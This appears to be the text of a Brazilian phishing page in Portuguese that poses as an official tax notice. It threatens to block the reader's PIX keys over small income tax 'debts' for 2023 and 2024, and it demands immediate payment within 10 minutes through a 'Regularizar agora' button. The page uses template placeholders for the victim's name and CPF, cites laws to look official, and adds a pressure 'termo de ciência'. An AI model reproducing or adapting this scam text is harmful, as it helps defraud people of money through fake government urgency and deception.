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Atenção: Novas Regras do PIX em Vigor

Em conformidade com a legislação em vigor, especialmente a Lei nº 14.459/2022 e a Resolução nº 202/2022, que tratam das normas do Sistema de Pagamentos Instantâneos (PIX), notifica-se o contribuinte [NOME], CPF [CPF], acerca de pendências fiscais referentes aos exercícios de 2023 e 2024. A não regularização dentro do prazo poderá ocasionar o BLOQUEIO das chaves PIX vinculadas ao CPF mencionado.

Débitos pendentes do Imposto de Renda de Pessoa Física:

Nome:
CPF:
Ano
Valor
2023:
R$ 21,47
Multa aplicada devido ao atraso na entrega da declaração
Inconsistências identificadas nas informações declaradas
2024:
R$ 35,36
• Movimentações financeiras incompatíveis
• Transações não declaradas identificadas

Total devido: R$ 56,83

Para evitar a suspensão do PIX em todas as contas bancárias vinculadas ao CPF , é obrigatório efetuar o pagamento deste valor imediatamente.

TERMO DE CIÊNCIA E RESPONSABILIDADE

Eu, ____________________, portador do CPF ____________________, declaro estar ciente de que:

  • O pagamento deve ser realizado em até 10 minutos após a geração do PIX;
  • Caso o pagamento não seja realizado dentro do prazo, estou ciente de que poderão ocorrer limitações no uso das minhas chaves PIX, dependendo das políticas das instituições financeiras;
  • Em caso de não pagamento, estou ciente de que podem ser aplicados encargos adicionais, conforme previsto pelas condições apresentadas;
  • A regularização somente será concluída mediante o aceite destes termos e a confirmação do pagamento dentro do prazo estipulado.
Clique no botão acima para aceitar os termos e condições. Após aceitar, clique no botão "Regularizar agora" abaixo para prosseguir